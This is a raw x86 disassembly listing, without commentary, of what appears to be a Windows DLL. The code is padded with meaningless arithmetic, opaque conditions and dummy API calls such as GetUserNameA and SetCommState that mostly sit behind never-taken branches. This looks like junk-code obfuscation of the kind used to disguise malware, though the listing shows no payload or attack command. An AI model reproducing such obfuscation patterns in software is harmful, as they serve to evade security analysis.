cmp dword [ebp - 0x50], esi
jl 0x1002f90c
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x104]
xor eax, eax
cmp dword [ebp - 0x40], eax
jne 0x1002f938
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x104]
xor edx, edx
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x104]
cmp eax, 0x3847
mov eax, dword [ebp - 0x104]
setg dl
xor ecx, ecx
cmp edx, eax
push 0xfffffffffffffffb
sete cl
mov dword [ebp - 0x20], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x20]
cmp eax, edi
pop eax
setge cl
mov dword [ebp - 0x54], ecx
inc dword [ebp - 0x48]
mov dword [ebp - 0x54], 0x2f144811
mov dword [ebp - 0x18], 0xdb34e6d4
mov dword [ebp - 0x34], 5
mov dword [ebp - 0x20], 0xfe662db8
mov dword [ebp - 0x50], 0x64a11600
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x18]
mov dword [ebp - 0x50], eax
xor eax, eax
cmp dword [ebp - 0x50], eax
jne 0x1002fa2f
cmp dword [ebp - 0x20], 0x4c5530c4
jle 0x1002fa2f
mov dword [ebp - 0x770], edi
mov dword [ebp - 0x76c], edi
mov dword [ebp - 0x768], edi
mov dword [ebp - 0x764], edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x50], ebx
cmp dword [ebp - 0x50], eax
jl 0x1002fa41
mov dword [ebp - 0x40], 0xfffffffa
xor ecx, ecx
mov eax, dword [ebp - 0x50]
mov edx, dword [ebp + eax*4 - 0x770]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp + eax*4 - 0x770]
cmp edx, eax
setg cl
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x40], 0xe1054d81
dec dword [ebp - 0x50]
jns 0x1002f9fc
jmp 0x1002fa3f
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002fa41
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
xor eax, eax
inc dword [ebp - 0x14]
mov dword [ebp - 0x3c], 0xfffffffe
mov dword [ebp - 0x3c], 0xffffffea
cmp dword [ebp - 0x3c], 0x18
jle 0x1002fac9
or ecx, 0xffffffff
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], edi
jge 0x1002fa7e
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x5cc], 0x9be1d925
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], edi
jl 0x1002fa66
xor eax, eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], edi
jge 0x1002fa9e
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x584], 0xd9ba07e4
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], edi
jl 0x1002fa86
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jg 0x1002fac0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x5cc]
mov dword [ebp - 0x584], eax
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jle 0x1002faa6
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x18
jg 0x1002fa5b
mov dword [ebp - 0x3c], 0xe30f5872
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x38]
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x1002fae4
mov ecx, eax
cmp dword [ebp - 0x28], eax
je 0x1002fae6
mov ecx, edi
mov eax, dword [ebp - 0x28]
xor edx, edx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x38]
add eax, ecx
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
cmp eax, ecx
setl dl
mov dword [ebp - 0x2c], edx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x38
je 0x1002f7f7
jmp 0x10030e9b
mov dword [ebp - 0x28], 0xb26bdde0
mov dword [ebp - 0x20], 0xfffffffe
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], 0xffffffea
cmp dword [ebp - 0x28], 0xfffffff7
jle 0x1002fc0d
or ebx, 0xffffffff
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x48], 0x65816309
mov dword [ebp - 0x34], 0xec02dfce
cmp dword [ebp - 0x18], eax
je 0x1002fbaf
mov eax, dword [ebp - 0x18]
mov ecx, edi
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
sub ecx, eax
cmp ecx, 0x422f
jge 0x1002fb9a
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x1002fb9c
mov eax, edi
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
neg eax
cmp eax, dword [ebp - 0x24]
jne 0x1002fbad
mov eax, edi
jmp 0x1002fbaf
xor eax, eax
add dword [ebp - 0x20], eax
xor edx, edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setge dl
xor eax, eax
cmp edx, 0xcfdef05d
je 0x1002fbd6
cmp dword [ebp - 0x28], eax
jne 0x1002fc01
jmp 0x1002fbe0
mov dword [ebp - 0x40], 0x473ecfb8
mov dword [ebp - 0x40], ebx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002fbf1
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetCommState]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff7
push 0
pop eax
jg 0x1002fb3b
xor eax, eax
mov ebx, 0xb054dbbe
mov ecx, 0xfff7
mov dword [ebp - 0x18], 0xb6bd0d4
mov dword [ebp - 0x30], 0xffffffec
cmp dword [ebp - 0x30], 0xfffffff7
jle 0x10030303
push 2
pop ebx
jmp 0x1002fc2c
xor eax, eax
mov dword [ebp - 0x34], 0x250db856
mov dword [ebp - 0x40], 0x7be2d3d4
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], ebx
jge 0x1002fc5a
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x224], 0xd06c
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], ebx
jl 0x1002fc42
xor eax, eax
mov dword [ebp - 0x50], eax
jmp 0x1002fc70
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x218], 0x51d69f42
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], edi
jl 0x1002fc5f
mov eax, dword [ebp - 0x220]
mov dword [ebp - 0x218], eax
mov eax, dword [ebp - 0x218]
mov eax, dword [ebp - 0x220]
mov eax, dword [ebp - 0x220]
mov eax, dword [ebp - 0x224]
mov eax, dword [ebp - 0x224]
cmp ecx, eax
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x224]
jge 0x1002fcbb
xor eax, eax
cmp dword [ebp - 0x220], eax
je 0x1002fcbd
mov edx, edi
jmp 0x1002fcbf
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x34]
xor ecx, ecx
test eax, eax
mov dword [ebp - 0x218], eax
sete cl
imul eax, ecx, 9
xor ecx, ecx
cmp eax, edx
setg cl
sub ecx, dword [ebp - 0x34]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x24], 0x3cd0cd8a
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002fd0d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x17c], 0xac204e2d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002fcf5
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002fd2d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x348], 9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002fd15
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002fd4d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6ac], 0x87263b0a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002fd35
xor eax, eax
mov dword [ebp - 0x17c], eax
jmp 0x1002fe34
mov dword [ebp - 0x1c], 6
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jg 0x1002fd7e
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x348], 0
jne 0x1002fd7c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jle 0x1002fd67
xor eax, eax
mov dword [ebp - 0x1c], edi
cmp dword [ebp - 0x1c], eax
jl 0x1002fe2e
or edi, 0xffffffff
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x9ac], edi
mov dword [ebp - 0x9a8], edi
mov dword [ebp - 0x9a4], edi
mov dword [ebp - 0x9a0], edi
mov dword [ebp - 0x40], 0xa2ef703c
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x348]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x9a4], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x348]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
neg eax
sbb eax, eax
sub ecx, 0x1ba
neg eax
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp edx, eax
sbb eax, eax
inc eax
sub ecx, eax
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
mov eax, dword [ebp + eax*4 - 0x348]
inc ecx
cmp ecx, 0xdd2c
setne dl
xor ecx, ecx
cmp eax, edx
sete cl
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x6a8], eax
dec dword [ebp - 0x1c]
jns 0x1002fd8d
xor edi, edi
inc edi
xor eax, eax
inc dword [ebp - 0x17c]
cmp dword [ebp - 0x17c], 0x17
je 0x1002fd58
mov eax, dword [ebp - 0x17c]
xor edx, edx
mov eax, dword [ebp - 0x348]
mov eax, dword [ebp - 0x6a8]
mov ecx, dword [ebp - 0x6a8]
mov eax, dword [ebp - 0x17c]
cmp ecx, eax
setge dl
xor eax, eax
mov dword [ebp - 0x17c], edx
mov byte [ebp - 0xd], al
mov dword [ebp - 0x2c], 0xb26bdde0
mov dword [ebp - 0x44], 0x318d5816
mov dword [ebp - 0x28], 9
mov dword [ebp - 0x20], 4
mov dword [ebp - 0x44], 0x5b7f37c0
mov dword [ebp - 0x54], 0xfffffff7
mov dword [ebp - 0x40], 0xe95866b3
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], edi
jge 0x1002fec5
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x1bc], 0xa8f90a3c
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], edi
jl 0x1002fead
xor eax, eax
mov dword [ebp - 0x2c], 6
cmp dword [ebp - 0x2c], 0x17
jle 0x1002ffe5
jmp 0x1002feda
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x48], 0x5a82
mov dword [ebp - 0x3c], eax
jmp 0x1002fefa
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0xc4], 0
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], edi
jl 0x1002fee9
inc dword [ebp - 0x34]
jne 0x1002ffcd
mov ecx, dword [ebp - 0x1bc]
imul ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1bc]
add ecx, 0xbbb3634b
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
sete dl
xor ecx, ecx
mov dword [ebp - 0x1bc], edx
mov eax, dword [ebp - 0x28]
cmp eax, edx
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
cmp ecx, 0x9ae8
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0xc4]
setge bl
xor ecx, ecx
cmp ebx, eax
setge cl
cmp ecx, dword [ebp - 0xc4]
jge 0x1002ff70
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0xc4], eax
je 0x1002ff72
mov ecx, edi
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x48], eax
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
sub edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
cmp ecx, edi
jb 0x1002ff96
mov eax, dword [ebp - 0x1bc]
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x28]
sub ecx, eax
mov eax, dword [ebp - 0x54]
imul edx, ecx
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xc4]
setl cl
xor edx, edx
cmp ecx, 0x2c08
setle dl
add eax, edx
cmp eax, dword [ebp - 0x50]
jg 0x1002ffcd
xor eax, eax
jmp 0x1002ffcf
mov eax, edi
mov dword [ebp - 0xc4], eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x17
jg 0x1002fed8
push 2
pop ebx
cmp byte [ebp - 0xd], 0
je 0x100301a5
or eax, 0xffffffff
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x3c], 0xc3707822
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1003001e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x90], 0xd5e48d32
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10030006
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1003003a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x8d8], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10030026
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10030050
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x234], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003003f
mov dword [ebp - 0x90], 0xfffffff2
jmp 0x10030141
mov dword [ebp - 0x44], 0xee7d214c
mov dword [ebp - 0x40], 0x990069f3
push 0xfffffffffffffff8
pop eax
mov dword [ebp - 0x780], eax
mov dword [ebp - 0x77c], eax
mov dword [ebp - 0x778], eax
mov dword [ebp - 0x774], eax
mov dword [ebp - 0x20], 0xd3380ee9
inc dword [ebp - 0x20]
mov eax, dword [ebp - 0x8d4]
mov dword [ebp - 0x8d8], eax
test eax, eax
jne 0x10030123
mov eax, dword [ebp - 0x234]
xor edx, edx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x778]
cmp eax, ecx
mov eax, dword [ebp - 0x90]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setge cl
sub ecx, eax
add ecx, dword [ebp - 0x90]
je 0x100300e3
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x234], eax
jne 0x100300e5
mov ecx, edi
mov eax, dword [ebp - 0x40]
imul eax, ecx
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, 0xba27
mov eax, dword [ebp - 0x3c]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x90]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x77c]
setge cl
imul eax, ecx
test eax, eax
jne 0x10030123
mov ecx, eax
jmp 0x10030125
mov ecx, edi
mov eax, dword [ebp - 0x3c]
imul eax, ecx
neg eax
sub eax, dword [ebp - 0x234]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x3c], eax
inc dword [ebp - 0x90]
cmp dword [ebp - 0x90], 0x15
jg 0x10030064
mov dword [ebp - 0x3c], edi
xor eax, eax
cmp dword [ebp - 0x3c], eax
jl 0x10030191
mov dword [ebp - 0x2c], eax
jmp 0x10030187
mov dword [ebp - 0x20], 7
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x20], eax
jl 0x10030184
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1003017f
push eax
push eax
call dword [sym.imp.GDI32.dll_RectInRegion]
xor eax, eax
dec dword [ebp - 0x20]
jns 0x1003016c
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jle 0x1003015d
dec dword [ebp - 0x3c]
jns 0x10030158
push 0x2cd
push eax
push 0x194a
call esi
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
mov dword [ebp - 0x28], 0xd5e48d32
or ecx, 0xffffffff
mov dword [ebp - 0x48], 0x2e6e
xor eax, eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xfffffffa
jl 0x10030254
mov dword [ebp - 0x20], 0xfffffffa
mov dword [ebp - 0x3c], 0xfffffffb
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x28], eax
jne 0x100301f9
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x28], eax
je 0x100301fb
mov edx, edi
mov eax, dword [ebp - 0x48]
xor ecx, ecx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x2c]
cmp edx, eax
mov eax, 0xffff
setne cl
xor edx, edx
imul ecx, dword [ebp - 0x3c]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setne dl
xor ecx, ecx
cmp eax, 0x2fdc
setg cl
sub ecx, edx
cmp dword [ebp - 0x48], ecx
jg 0x10030232
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
push 0
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffffa
pop eax
push 0xffffffffffffffff
pop ecx
jge 0x100301c8
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030263
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setg dl
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
sub ecx, 0x7527
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp - 0x14]
inc ecx
je 0x1003029a
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp eax, edi
setle dl
xor ecx, ecx
sub edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
cmp edx, eax
mov eax, dword [ebp - 0x24]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
imul eax, ecx, 0xbd28
sub eax, dword [ebp - 0x24]
jne 0x100302da
mov edx, eax
cmp dword [ebp - 0x30], eax
je 0x100302dc
mov edx, edi
mov eax, dword [ebp - 0x18]
xor ecx, ecx
sub eax, 3
cmp eax, edx
setle cl
mov dword [ebp - 0x38], ecx
mov ecx, 0xfff7
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xfffffff7
jg 0x1002fc2a
mov ebx, 0xb054dbbe
xor eax, eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x10030318
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
imul eax, ecx, 0x1799
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jl 0x10030b05
mov dword [ebp - 0x34], 0x3dc99cdf
xor eax, eax
mov dword [ebp - 0x24], 0xdfc9b996
mov dword [ebp - 0x14], eax
jmp 0x1003037d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x88], 0xfffffff8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1003036c
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x88]
mov edx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setge cl
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], 0xffffffee
cmp dword [ebp - 0x24], 0xa
jge 0x10030402
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100303f9
push 0x1b0c
push 0x25bf
push eax
call dword [sym.imp.USER32.dll_CheckMenuItem]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xa
jl 0x100303dd
xor eax, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], 0xf8256a9e
mov dword [ebp - 0x44], 0x26ec17e5
mov dword [ebp - 0x44], 0x9c63c407
mov dword [ebp - 0x44], 0xe763
mov dword [ebp - 0x34], edi
push 2
mov dword [ebp - 0x18], eax
pop ebx
cmp dword [ebp - 0x18], ebx
jge 0x10030449
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xe10], 0x75c9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10030431
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1003046b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf6c], 0xfc3eee2f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10030452
xor eax, eax
inc dword [ebp - 0x34]
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030486
push 0x553
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov byte [ebp - 0x49], al
mov dword [ebp - 0x44], 0x387fb0b0
mov dword [ebp - 0x44], 0xfffffff6
mov dword [ebp - 0x44], 0x4f84b811
mov dword [ebp - 0x44], eax
mov eax, 0xeea2a3b3
mov dword [ebp - 0x44], 0x70cd5099
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], eax
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], eax
xor eax, eax
mov dword [ebp - 0x34], 0xfffffff7
mov dword [ebp - 0x44], eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x100304ee
push 0xf1b
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
inc dword [ebp - 0x34]
cmp byte [ebp - 0x49], 0
je 0x100307b0
mov dword [ebp - 0x28], 0x4bf8f0aa
xor edx, edx
mov dword [ebp - 0x3c], 0x754320e3
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x24], 0xec3203bd
mov dword [ebp - 0x50], 0x1e1c5a3d
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
setge dl
sub edx, 0x963ab194
add edx, dword [ebp - 0x3c]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x3c]
cmp eax, 0xeede0b40
sbb eax, eax
neg eax
cmp eax, 0xa9b27fa
je 0x10030563
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x10030565
mov eax, edi
jmp 0x10030565
xor eax, eax
mov dword [ebp - 0x50], eax
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x100307a0
mov dword [ebp - 0x18], 0xf8ba7967
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10030599
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x8c], 0x25dc8ff0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10030581
xor eax, eax
mov dword [ebp - 0x38], 0xffffffe4
jmp 0x10030793
mov dword [ebp - 0x14], 0x5051dd2e
mov dword [ebp - 0x2c], 0xe45104f
mov dword [ebp - 0x1c], 0xa8c97d73
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 8
jne 0x10030790
or eax, 0xffffffff
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x48], 0xb10079d6
mov dword [ebp - 0x20], 0xf40bf68
mov dword [ebp - 0x40], 0xdb887736
mov dword [ebp - 0x54], 0x95891f92
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x14]
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
imul edx, eax
mov eax, dword [ebp - 0x18]
sub edx, 0x39150040
cmp edx, eax
setg cl
sub ecx, dword [ebp - 0x48]
je 0x10030617
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x20], edi
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
sub ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
add ecx, dword [ebp - 0x48]
cmp ecx, 0xdd93
jl 0x10030647
cmp dword [ebp - 0x28], eax
je 0x10030647
mov eax, edi
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x28]
je 0x1003074d
or eax, 0xffffffff
mov dword [ebp - 0x20], eax
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x100306d5
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp ecx, eax
sbb eax, eax
inc eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x20]
sub edx, 0x31a33ffe
neg edx
sbb edx, edx
inc edx
cmp edx, eax
sete cl
xor eax, eax
add ecx, dword [ebp - 0x18]
cmp ecx, 0xcb4f
je 0x100306a6
mov ecx, edi
cmp dword [ebp - 0x38], eax
jne 0x100306a8
mov ecx, eax
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
sete dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x24], ecx
mov ecx, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x24]
add eax, ecx
cmp eax, dword [ebp - 0x48]
jl 0x100306d5
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x1c]
xor edx, edx
imul ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x8c]
dec ecx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
sub ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x8c]
neg ecx
sbb ecx, ecx
neg ecx
sub ecx, eax
je 0x1003073f
mov dword [ebp - 0x40], 0xfffffff8
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10030737
cmp dword [ebp - 0x20], eax
jne 0x10030781
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030734
call esi
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x32
jge 0x1003071b
jmp 0x10030781
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x28]
jmp 0x10030781
